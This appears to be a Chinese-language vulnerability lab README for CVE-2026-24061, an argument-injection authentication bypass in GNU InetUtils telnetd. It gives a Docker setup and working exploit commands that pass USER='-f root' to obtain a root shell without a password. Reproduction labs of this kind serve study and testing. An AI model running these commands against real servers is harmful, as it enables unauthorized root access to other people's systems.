# GNU InetUtils telnetd 参数注入认证绕过漏洞（CVE-2026-24061）

GNU InetUtils 1.9.3 至 2.7 版本的 telnetd 服务器存在远程认证绕过漏洞（CVE-2026-24061）。telnetd 服务器在将 USER 环境变量传递给 `login(1)` 程序之前未进行过滤。攻击者可以提供类似 `-froot` 的 USER 值来触发 login 程序的认证绕过功能（`-f` 参数），无需凭据即可获得 root 访问权限。

该漏洞属于参数注入漏洞（CWE-88），CVSS v3.1 评分为 **9.8（严重）**。

参考链接：

- <https://www.openwall.com/lists/oss-security/2026/01/20/2>
- <https://nvd.nist.gov/vuln/detail/CVE-2026-24061>

## 漏洞环境

编译并启动漏洞环境：

```bash
docker compose up -d
```

服务启动后，telnetd 将在 2323 端口监听。

## 漏洞复现

该漏洞允许通过向 USER 环境变量注入 `-f` 参数来绕过认证。当 telnetd 接收到以 `-f` 开头的用户名时，它会将此传递给 login 程序，login 程序会将 `-f` 解释为跳过认证的参数。

使用以下命令利用此漏洞获取 root 权限：

```bash
# Linux 客户端（需要 -a 选项）
USER="-f root" telnet -a 127.0.0.1 2323

# macOS 客户端（不需要 -a 选项）
USER="-f root" telnet 127.0.0.1 2323
```

成功利用后，您将无需提供任何密码即可获得 root shell 访问权限。

![1](1.png)
